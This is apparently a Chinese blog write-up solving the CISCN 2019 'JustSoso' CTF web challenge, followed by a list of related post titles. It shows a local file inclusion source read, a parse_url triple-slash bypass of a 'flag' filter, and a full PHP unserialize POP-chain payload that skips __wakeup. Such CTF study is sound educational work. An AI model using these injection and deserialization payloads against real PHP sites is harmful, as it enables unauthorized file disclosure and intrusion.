0x00

这道题是刚好在网上看到的,感觉跟moctf里有一道PUBG,还有bugku里的一道welcome to bugkuctf都很像,但又有些区别,所以就学习学习。

参考自:https://www.anquanke.com/post/id/177039

http://www.cnblogs.com/kagari/p/10758155.html

0x01

打开题目后右键查看源码

提示需要传参数,这里存在LFI漏洞(本地文件包含),常规操作伪协议读一下源码: 

index.php:

<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];if (!isset($file)) {echo 'Missing parameter' . '<br>';
}if (preg_match("/flag/", $file)) {die('hack attacked!!!');
}@include ($file);
if (isset($payload)) {$url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'], $query);foreach ($query as $value) {if (preg_match("/flag/", $value)) {die('stop hacking!');exit();}}$payload = unserialize($payload);
} else {echo "Missing parameters";
}
?>

hint.php:

<?php
class Handle {private $handle;public function __wakeup() {foreach (get_object_vars($this) as $k => $v) {$this->$k = null;}echo "Waking upn";}public function __construct($handle) {$this->handle = $handle;}public function __destruct() {$this->handle->getFlag();}
}class Flag {public $file;public $token;public $token_flag;function __construct($file) {$this->file = $file;$this->token_flag = $this->token = md5(rand(1, 10000));}public function getFlag() {$this->token_flag = md5(rand(1, 10000));if ($this->token === $this->token_flag) {if (isset($this->file)) {echo @highlight_file($this->file, true);}}}
}
?>

首先会对我们传入的参数调用parse_url函数进行解析,然后对我们的每个参数进行正则匹配,匹配到flag就直接退出。

这里就要用到parse_url的解析漏洞,可以查看一叶飘零师傅的文章:

https://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/

我们只需要加多两条/

就可以绕过正则匹配。

分析hint.php:

分别有两个类。

(1)Handle类,里面有一个private成员和三个成员函数。  

①private $handle;

②function __wakeup()

③function __construct()

④function __destruct()

(2)Flag类,里面有三个public成员和两个成员函数。

①public $file;

②public $token;

③public $token_flag;

④function __construct()

⑤function getFlag()

之后我们查看hint.php,看到

class Handle{}中引用了getFlag函数:

public function __destruct(){    $this->handle->getFlag();
}

class Flag{}中定义了getFlag函数:

public function getFlag() {$this->token_flag = md5(rand(1, 10000));if ($this->token === $this->token_flag) {if (isset($this->file)) {echo @highlight_file($this->file, true);}}
}

所以最终我们的目的就是触发getFlag函数,且传入file参数为flag.php。

显然这里考察的是反序列化,因此我们构造pop链。

1,构造一个Flag类型得变量,传入参数为flag.php => $b = new Flag(“flag.php”);

2,构造一个Handle类型得变量,使内部$handle指向$b,这样__destruct时就行触发执行getFlag函数。=>

$a = new Handle($b);

3,Handle类中的__wakeup()会把变量清空,所以我们要在反序列化之后,修改一下变量数量,将payload中O:6:"Handle":1改为O:6:"Handle":2

4,要让token===token_flag,我们可以使用引用,使token变为token_flag的引用

$b = new Flag("flag.php");
$b->token = &$b->token_flag;
$a = new Handle($b);
echo serialize($a);

执行得到 O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"0b794a03744a03800313ca0f2e291294";s:10:"token_flag";R:4;}}

Payload:

///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"0b794a03744a03800313ca0f2e291294";s:10:"token_flag";R:4;}}

还有一点要注意:s:14:"Handlehandle" 为什么长度是12,前面的值却是14呢?

这是因为当成员属性为private时,在序列化后,Handle字串前后会各有一个0x00,因此长度为14。

类似的protect属性,则是在*前后各有一个0x00。可以自己在本地尝试一下。

0x00的url编码为%00,因此我们传参时要进行编码。

因此最终payload要加上%00。

2019全国大学生信息安全竞赛 web JustSoso(parse_url解析漏洞+序列化)相关推荐

  1. 大学生HTML5竞赛网站,2019全国大学生信息安全竞赛Web Writeup

    这次web题真切得让我感受到了我得辣鸡 顿时被打了鸡血 最后只做出来一题,但是有两道题都是马上要出来了最后时间不够 ,这里总结一下 web1 JustSoso 打开之后是这样得 右键查看源码 提示需要 ...

  2. 2019全国大学生信息安全竞赛—Web

    0x01 JustSoso parse_url的解析漏洞 _wakeup()绕过 序列化pop链的构造 php引用赋值 打开页面后查看源代码: 提示为本地文件包含漏洞,查看index.php和hint ...

  3. 2019全国大学生信息安全竞赛初赛writeup

    part_des 题目描述 Round n part_encode-> 0x92d915250119e12b Key map -> 0xe0be661032d5f0b676f82095e4 ...

  4. 突出计算机学院的比赛名,学院在2019年全国大学生信息安全竞赛安徽省赛中喜获佳绩...

    由安徽省教育厅主办的全国大学生信息安全竞赛安徽省赛,共设安徽省大学生网络攻防赛和安徽省大学生信息安全作品赛两项分赛事.学院由计算机学院组织多个团队参赛,分别获得2019年安徽省大学生网络攻防赛一等奖一 ...

  5. 第十三届全国大学生信息安全竞赛(线上初赛)

    第十三届全国大学生信息安全竞赛(线上初赛) 干啥啥不行,混子第一名,全靠躺,,,,,队友带飞! WEB easyphp 打开题目拿到源码: 根据题目的描述,让进程异常退出,进入到phpinfo中 pa ...

  6. 计算机网络空间安全大赛报道,网络空间安全学院成功举办第十三届全国大学生信息安全竞赛线上宣讲会...

    3月28日晚,网络空间安全学院召开2020年第十三届全国大学生信息安全竞赛宣讲会.本次线上宣讲会由学院副院长刘志强指导,张慧翔和邰瑜组织.网络空间安全学院.自动化学院.计算机学院.软件学院等约70名本 ...

  7. 计算机弹奏卡布奇诺,计算机学院信息安全技术协会卡布奇诺加糖队在第十二届全国大学生信息安全竞赛中喜获佳绩...

    7月27号,第十二届全国大学生信息安全竞赛--创新实践能力赛在电子科技大学圆满结束.我校信息安全技术协会卡布奇诺实验室派出2支队伍参加本次竞赛,并在指导老师刘朝晖的精心指导下获得全国三等奖的好成绩. ...

  8. 赛宁首创革新赛制助力人才培养 | 第十六届全国大学生信息安全竞赛-创新实践能力赛全面启动!

    ​​为积极响应国家网络空间安全人才战略,加快攻防兼备创新人才培养步伐,实现以赛促学.以赛促教.以赛促用,推动网络空间安全人才培养和产学研用生态发展,由国防科技大学与中国科学技术大学联合承办的第十六届全 ...

  9. re学习笔记(101)i春秋 全国大学生信息安全竞赛 计时挑战

    本文首发于 i春秋公众号 巧用Frida与Unidbg快速在CTF中解题 题目名称:计时挑战,你能当人肉计时器么? 题目下载地址:https://pan.baidu.com/s/11BcKF6LTWQ ...

最新文章

  1. ASP.NET MVC 导入Excel文件
  2. Oracle-Materialized View解读
  3. html倒计时timer,JavaScript定时器设置、使用与倒计时案例详解
  4. 小白学编程“Java小白”入门解疑大全
  5. CentOS 7 使用 ACL 设置文件权限
  6. git 打tag_团队开发中的 Git 实践
  7. System Center 2012 SP1系列之SCVMM篇-(1)VMM2012安装
  8. 向上传递 java_Java向上转型向下转型
  9. 非参数统计单样本非参数检验之Kolmogorov-Smirnov检验
  10. 相亲交友小程序的盈利点
  11. 利用Jimi进行图片缩放操作
  12. 6sp电池测试软件,小白必看!iPhone 6sp电池更换记录,续航半天变成2天,给力!...
  13. pytorch——梯度计算
  14. DSS 代码分析【启动、初始化流程】
  15. Ganymed SSH-2(ch.ethz.ssh2)
  16. app推广“惊天地”的一件大事件
  17. 【恭喜考研拟录取】极力推荐科研必备软件,让你科研生涯事半功倍(3万字超全总结-码住系列)
  18. 解决m1芯片的macmini最新系统big sur 11.1外接双显示器外置显卡不能用的问题
  19. qt画圆,QT圆的中点生成算法 ,自己设定圆心和半径,应用中点算法生成圆弧或者圆。
  20. 在线学习DITA(英文)

热门文章

  1. 移动流量转赠给好友_移动的号怎么赠送流量给好友?
  2. Spring Cloud (Eureka,Feign,Hystrix整合)
  3. SAP FI-CO总账科目简析
  4. python自动注册邮箱_163邮箱自动登陆python+selenium
  5. 严蔚敏数据结构源码及习题解析
  6. 在祝贺提拔的饭局上当众敬酒,别说“感谢领导”,高手都懂这4点
  7. day10 爬虫导言
  8. java读pdf一行_java读与pdf白件的时分呈现非常
  9. 如何优雅地使用Sublime Text
  10. Excel填充空白的单元格